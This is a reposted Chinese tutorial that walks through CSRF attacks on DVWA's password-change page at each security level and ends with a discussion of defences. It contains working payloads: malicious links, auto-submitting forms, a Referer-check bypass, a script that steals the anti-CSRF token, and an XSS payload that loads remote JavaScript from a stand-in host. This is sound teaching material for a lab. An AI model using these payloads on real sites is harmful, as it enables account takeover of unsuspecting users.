DVWA 黑客攻防演練(十四)CSRF 攻擊 Cross Site Request Forgery


這么多攻擊中,CSRF 攻擊,全稱是 Cross Site Request Forgery,翻譯過來是跨站請求偽造可謂是最防不勝防之一。比如刪除一篇文章,添加一筆錢之類,如果開發者是沒有考慮到會被 CSRF 攻擊的,一旦被利用對公司損失很大的。

低級

界面如下,目的是實現修改密碼

低級代碼如下

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

功能確實是可以修改密碼的。

然而 Hacker 發了一封令人驚喜的郵件給你,里面的內容是這樣的。

或者是這樣

只要點擊進去了。密碼就被改了。因為他的鏈接是。。。

http://192.168.0.110:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change 然后密碼就被改成 123456。。。

或者鏈接是指向的是一個惡意網站。網站里面有一張圖片,而且是打不開。但是這張圖片的鏈接是。。。http://192.168.31.166:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

密碼又被改了。

或者你會覺得造成這種問題的主要原因是用 Get 請求,用 Post 就不會了。。。Hacker 的就將網站寫成這樣了。

<form action="" id="change-passwd" method="post">
<input type="password" name="password_new" value=""/>
<input type="password" name="password_conf" value=""/>
<input type="submit" name="submit" value="submit"/>
</form>
<script>
var form = document.getElementById("change-passwd");
form.inputs[0].value="123456";
form.inputs[1].value="123456";
form.submit();
</script>

這漏洞確實是防不勝防。。。接下面看看中級代碼

中級

中級代碼就多了驗證請求頭部的來源地址(Referer),來源地址與服務器地址一致才能修改密碼。而你從郵件中點擊鏈接過來的,或者從另外網站點擊的是不能修改密碼。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

而驗證的來源地址和服務器地址是否一致的代碼是這樣的

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos函數的定義 可以看這里。

假如服務器的地址是 192.168.0.110($_SERVER[ 'SERVER_NAME' ]),而惡意的網站的地址是 a.com/192.168.0.110.php($_SERVER[ 'HTTP_REFERER' ]) 。。。不就可以繞過了嗎?

而 192.168.0.110.php 的內容也很簡單

<form action="http://192.168.0.110:5678/vulnerabilities/csrf/?" method="GET">
    <h1>Click Me</h1>
    <input type="text" name="password_new" value="hacker">
    <input type="text" name="password_conf" value="hacker">
    <input type="submit" value="Change" name="Change">
</form>
<script>
    document.getElementsByTagName("form")[0].submit()
<script>
``

# 高級

> CSRF 為什么會成功?其本質原因是重要操作的所有參數都可以被攻擊者猜測到。 --吳翰清 《白帽子講 Web 安全》 p121

所以參數如果有一個攻擊者猜測不到的參數,攻擊者就很難攻擊了。所以服務器生成一個(偽)隨機字符串(叫 token),保存在 session 中,同時放在網頁上中。用戶登錄,發送請求的時候會把這個字符串帶到服務器上驗證。
高級代碼如下
```php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

所以,如果要攻擊的話,首先要獲取頁面的 token,假如 Hacker 在網站 a.com/csrf.php 上寫了這樣的代碼呢?

 <script>
     var xmlhttp = new XMLHttpRequest();
     xmlhttp.withCredentials = true;
     var success = false;
     xmlhttp.onreadystatechange = function(){
         if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
             var text = xmlhttp.responseText;
             var regex = /user_token\' value\=\'(.*?)\' \/\>/;
             var match = text.match(regex);
             var token = match[1];
             var pass = "123456";
             var attack_url = "http://192.168.0.110:5678/vulnerabilities/csrf/?user_token="+token+"&password_new="+pass+"&password_conf="+pass+"&Change=Change";
             if(!success){
                 success=true;
                 xmlhttp.open("GET",attack_url);
                 xmlhttp.send();
             }
         }
     }
 
     xmlhttp.open("GET","http://192.168.0.110:5678/vulnerabilities/csrf/");
     xmlhttp.send();
 </script>

這是不能執行的,原因是現代瀏覽器是不允許進行跨域請求的(前后端分離會有特定的請求頭),在 a.com 上不能請求 192.168.0.110 的數據的(除了css,js之類的靜態文件外)。所以要“另辟蹊徑”。

也看了下《白帽子講 Web安全》。也說如果存在 XSS 漏洞,這方案就會變無效了。。。所以這代碼主要還是自己或隊友的代碼造成有漏洞了。。。

簡要解釋一下,因為高級反射型 XSS那里有個漏洞,那里能有效地去掉了 script 標簽的注入,但是忽略了 img 之類的元素注入。

所以,可以往里面注入 <img src=x onerror="alert(1)"> 這樣的東西。如果你用點開這樣的鏈接 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3D"alert(1)"># ,就會看到彈窗了,也就是說能注入 js 代碼。

然后要做的東西是往里面注入遠程的 js 代碼(test.js),test.js 的內容上面跨域的內容一樣。所以問題是如何注入 '' 這樣的字符串

而服務器有個正則替換<.\*s.\*c.\*r.\*i.\*p.\*t,所有含有 script 的字符都會被替換 。直接在onerror函數中注入代碼是可以的,但是有點痛苦,因為要躲開這個正則替換。所以可以用點取巧的方式,onerror里面的內容是eval(unescape(location.hash.substr(1))),其中location.hash是 url 中 # 后面的內容(一般是前端框架用來做路由,且沒有長度限制),就是要注入的 js 的內容了。

點擊下面這個鏈接,就可以繞過 anti-token 機制改掉密碼。。。

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)

哈希路由后面的代碼

d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','//www.a.com/test.js');
h.appendChild(s);

意思是在 head 的標簽下添加個 ''

不可能

和高級相比,不可能級別會要求檢查原密碼,就算有 XSS 漏洞也要知道原密碼才能修改,而且代碼中用了 $db->prepare 的寫法防止 SQL 的注入。這樣安全多了。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

最后

dvwa 中防御 CSRF 攻擊主要是通過驗證 Referer 頭和設置 anti-token 的方式。而不可能級別的還會要求驗證原密碼。 而 referer check 缺陷在於,服務器並非什么時候都能取得 referer。很多時候用戶出於隱私保護的考慮,限制了 Referer 的發送。某些情況下,瀏覽器也不會發送 Referer,比如從 HTTPS 跳轉到 HTTP,出於安全的考慮,瀏覽器也不會發送 Referer(《白帽子講Web安全》)

而一般用 anti-token 機制就能很好地防御了。

如果有驗證碼的存在,也能提高攻擊的難度。

現在的網站重置密碼也不會這樣直接重置了,基本也會發一個有待 token 的 url 郵件或者手機短信驗證碼吧


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM